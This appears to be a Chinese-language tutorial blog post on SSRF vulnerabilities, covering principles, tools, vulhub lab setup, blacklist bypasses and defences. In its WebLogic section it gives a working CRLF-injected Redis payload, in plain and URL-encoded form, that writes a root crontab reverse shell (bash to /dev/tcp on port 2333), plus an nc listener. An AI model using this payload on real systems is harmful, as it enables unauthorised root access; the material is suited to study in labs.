SSRF漏洞(服务器端请求伪造)

  1. 中间人(SSRF就是中间人)攻击,服务端请求伪造,主要攻击内网,打redis和weblogic特别厉害,目标网站的内部系统(他是从内部系统访问的,所以通过它攻击外部系统无法访问的内部系统,也就是目标网站当成中间人)。
  2. 大部分漏漏洞都是参数给变量的时候没有做任何限制导致漏洞。 
  3. 攻击主要结果:
    • 写webshell(需要知道web路径,有增删改查权限,gopher协议的使用,使用工具生成gopher 攻击ssrfpayload)
    • 反弹shell(获取操作系统命令)
  4. 原理:
    • 根本原因:
      • SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。
      • 从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。
      • 程序员在写代码时候,使用了不安全的函数(curl_exec()、file_get_contents()、fsockopen() ),造成的
    • 图示:
      • SSRF漏洞(服务器端请求伪造)_第1张图片
      • A网站,是一个所有人都可以访问的外网网站,B网站是他们内部的网站,我们普通用户只能访问A网站,不能访问B网站,但是我们可以通过A网站做中间人,访问B网站,从而达到攻击B网站的目的。
      • 通过篡改获取资源的请求发送给服务器,但是服务器没有检测这个请求是否合法,然后服务器以他的身份来访问其他服务器资源。

       

  5. 常用:
    • SSRF攻击结果由涵数本身来决定,涵数功能越强大,攻击成功的机会就越高,如:curl_init()、file_get_contents()、fsockopen()
    • 白盒就找这三个函数就行
    • curl()函数详解:
      • ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
        除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
        curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    • SSRF漏洞利用中的万金油协议gopher:
      • gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。 
      • 基本协议格式:URL:gopher://:/
  6. 支持协议:
    • http gopher (把post包当成get包去请求) dict等
  7. 用途:
    • 读文件 | file_get_contents (使用php协议进行读文件,php协议使用base64编码可以把特殊符号转义,如果直接使用file协议进行读取,可能造成代码中断)
    • 探测端口 | curl()
    • 探测指纹
    • 写webshell
    • -----------------
    • 可以对外网、服务器所在的内网,本地进行端口扫描,获取一些banner信息
    • 攻击运行在内网或者本地的应用程序(溢出)
    • 对内网web应用进行指纹识别,通过访问默认文件实现
    • 攻击内外网的web应用,主要使用get参数就可以实现的攻击(struts2、sqli等)
    • 利用file协议读取本地文件等
  8. 可以执行操作系统命令的函数:
    • system()
  9. ssrf 工具的使用
    • Gopherus - https://github.com/tarunkant/Gopherus
      Gopherus可以帮助我们直接生成Gopher payload,以利用SSRF(服务器端请求伪造)并获得RCE(远程代码执行),
    • 常用的还有以下两个工具

    • SSRFmap - https://github.com/swisskyrepo/SSRFmap

    • shellver - https://github.com/0xR0/shellver

  10. pikachu漏洞测试SSRF:
    • SSRF漏洞(服务器端请求伪造)_第2张图片
    • 探测端口,使用curl:
    • SSRF漏洞(服务器端请求伪造)_第3张图片
    • 读文件,使用file_get_contents(): 
    • SSRF漏洞(服务器端请求伪造)_第4张图片
    • SSRF漏洞(服务器端请求伪造)_第5张图片

     

     

     

     

  11. redis(6379) + ssrf 攻击利用实战(其次:写webshell,知道web路径,有增删改查权限,gopher协议,):
  12. redis + ssrf反弹shell(优先:攻击weblogic,linux contact定时任务反弹shell):
    • docker实验环境的搭建vulhub靶场:
      • 一、安装docker
        1.新建/usr/docker/目录
        mkdir  /usr/docker/
        2.下载docker离线安装包
        cd /usr/docker/
        上传预先下载好的docker离线安装包docker-ce-17.12.1.ce-1.el7.centos.x86_64.rpm
        
        3.安装docker服务
        yum install yum install docker-ce-17.12.1.ce-1.el7.centos.x86_64.rpm -y
        4.启动并设置开机自启动docker服务
        systemctl start docker
        ​
        systemctl enable docker
        5.查看服务是否启动成功
        systemctl | grep docker
        二、安装Docker-Compose
        1.移动到/usr/local/bin目录
        cd /usr/local/bin/
        2.下载Docker-Compose离线安装包
        上传预先下载好的docker-compose离线安装包
        
        3.添加执行权限
        sudo chmod +x /usr/local/bin/docker-compose
        4.验证版本
        docker-compose version
        三、安装Vulhub
        1.移动到root目录
        cd /root/
        将预先下载好的vulhub-master.zip上传到root目录
        
        2.创建一个vulhub目录并将压缩包放进去
        mkdir vulhub && mv vulhub-master.zip vulhub/ && cd vulhub/
        3.解压压缩包
        unzip vulhub-master.zip
        4.移动压缩文件
        cd vulhub-master/
        mv * /root/vulhub
        四、靶场使用
        1.选择漏洞环境
        在Vulhub中选择某个环境,cd进入对应目录
        
        find /root/vulhub/ -type d -name "CVE*"#查找所有以CVE开头的目录
        cd /root/vulhub/discuz/CVE编号/
        2.可修改端口和账号密码
        vi docker-compose.yml
        3.启动环境
        systemctl start docker  #启动docker服务
        docker-compose up -d   # 启动环境 
        docker-compose down    # 关闭环境,需要在该环境目录下执行
        4.编译环境
        启动环境后,会自动查找当前目录下的配置文件
        
        如果配置文件中包含的环境均已经存在,则不会再次编译,反之则会自动进行编译。
        
        所以,其实命令是包含了
        
        
        docker-compose up -d
        
        docker-compose build
        
        #但是如果更新了配置文件,则需要手工来重新编译靶场环境。
        docker-compose build
        五、配置物理机访问容器
        经过上面的配置,已经可以在虚拟机Centos7中使用浏览器访问对应的漏洞环境。但此时物理机是无法通过浏览器访问漏洞环境的,需要手动配置静态路由,将通往Docker的数据包交给虚拟机来转发
        
        1.查看Docker容器的IP
        docker ps  # 查看运行服务端口
        CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS                  NAMES
        a4eed382479c        vulhub/discuz:7.2   "docker-php-entrypoi…"   About a minute ago   Up About a minute   0.0.0.0:8080->80/tcp   wooyun-2010-080723_discuz_1
        15b46d6919a9        mysql:5.5           "docker-entrypoint.s…"   About a minute ago   Up About a minute   3306/tcp               wooyun-2010-080723_db_1
        ​
        docker inspect [容器ID] | grep IPAddress  # [容器ID]为漏洞环境所在容器,此处为a4eed382479c
        # "IPAddress": "172.18.0.3"
        2.关闭虚拟机防火墙
        systemctl stop firewalld.service
        3.物理机使用管理员模式打开cmd
        route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重启系统路由仍有效
        route print  # 打印当前路由表
        ================================================================
        永久路由:
          网络地址          网络掩码          网关地址        跃点数
          172.18.0.0      255.255.0.0     192.168.1.13       1
        ================================================================
        六、靶场使用
        1.启动环境
        选择漏洞环境。首先在Vulhub中选择靶场环境,cd进入对应目录
        
        cd vulhub/discuz/wooyun-2010-080723/
        修改端口和账号密码(可选)。可以通过编辑docker-compose.yml来进行修改
        
        vim docker-compose.yml
        启动环境
        
        docker-compose up -d   # 启动环境 
        # Starting CVE漏洞编号 ... done
        # Starting CVE漏洞编号 ... done
        查看靶机运行端口
        
        # 主要看容器ID和端口,然后通过容器ID查看IP
        docker ps  # 查看运行服务端口
        ================================================
        CONTAINER ID        IMAGE               PORTS
        a4eed382479c        vulhub/discuz:7.2   0.0.0.0:8080->80/tcp 
        ================================================
        ​
        $ docker inspect [容器ID] | grep IPAddress  # [容器ID]为漏洞环境所在容器,此处为a4eed382479c
        "IPAddress": "172.18.0.3"
        2.漏洞复现
        3.结束使用
        复现完之后可以通过以下命令关闭环境,但注意此命令需要在对应环境目录下执行
        
        docker-compose down
        # Stopping wooyun-2010-080723_discuz_1 ... done
        # Stopping wooyun-2010-080723_db_1     ... done
        # Removing wooyun-2010-080723_discuz_1 ... done
        # Removing network wooyun-2010-080723_default
        检查是否关闭
        
        docker ps
        
        docker inspect fd37b9922385(服务号,查看详细信息)
        
        docker inspect fd37b9922385|grep "IPAddress" (查看docker内网ip地址)
        
        crontab -e 查看定时任务
        
        nc -lvvp 9999(监听9999端口)
    • 搜索ssrf漏洞:
      • [root@VM-0-15-centos ssrf]# find /root -name 'ssrf'
      • [root@VM-0-15-centos ssrf]# cd /root/vulhub/weblogic/ssrf
      • [root@VM-0-15-centos ssrf]# docker-compose up -d
      • 参考博文:https://www.cnblogs.com/flokz/p/weblogic_SSRF.html
      • 探测内网存活主机IP、探测端口
    • 攻击redis (通过header CRLF注入)
      • 原理:Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
      • SSRF漏洞(服务器端请求伪造)_第6张图片
      • 探测redis 6379端口是否开放(如下说明端口未开放):
      • SSRF漏洞(服务器端请求伪造)_第7张图片
      • 重新配置安全组之后,再访问下内容,端口已经开放:
      • SSRF漏洞(服务器端请求伪造)_第8张图片
      • 准备好攻击脚本:
      • test
        
        set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n"
        config set dir /etc/
        config set dbfilename crontab
        save
        
        aaa
      • 将上述攻击代码换成url编码:
      • test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140(docker IP)%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
      • 浏览器访问:
      • http://140.143.36.109:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://内网ip:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F内网ip%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
      • 本地监听2333端口:nc -lvvp 2333,反弹shell成功
      • SSRF漏洞(服务器端请求伪造)_第9张图片

       

       

       

       

  13. ssrf如何挖掘:
    • 黑盒测试:
      • 分享:通过URL地址分享网页内容
      • 转码服务
      • 在线翻译
      • 图片加载与下载
      • 图片、文章收藏功能
      • 未公开的api实现及其他调用URL的功能
      • url关键词查找:share、wap、url、link、src、source、domain
    • 白盒测试(代码审计):
      • curl_init()、file_get_contents()、fsockopen()
  14. 绕过方法(黑名单过滤):
    • 更改IP地址写法:8进制、十进制、十六进制
    • 利用解析URL所出现的问题 (域名拼接上去+@符号)
  15. 防范方法:
    • 过滤本地ip地址
    • 过滤协议
    • 白名单过滤
    • 对返回内容进行识别

你可能感兴趣的:(网络安全,系统安全)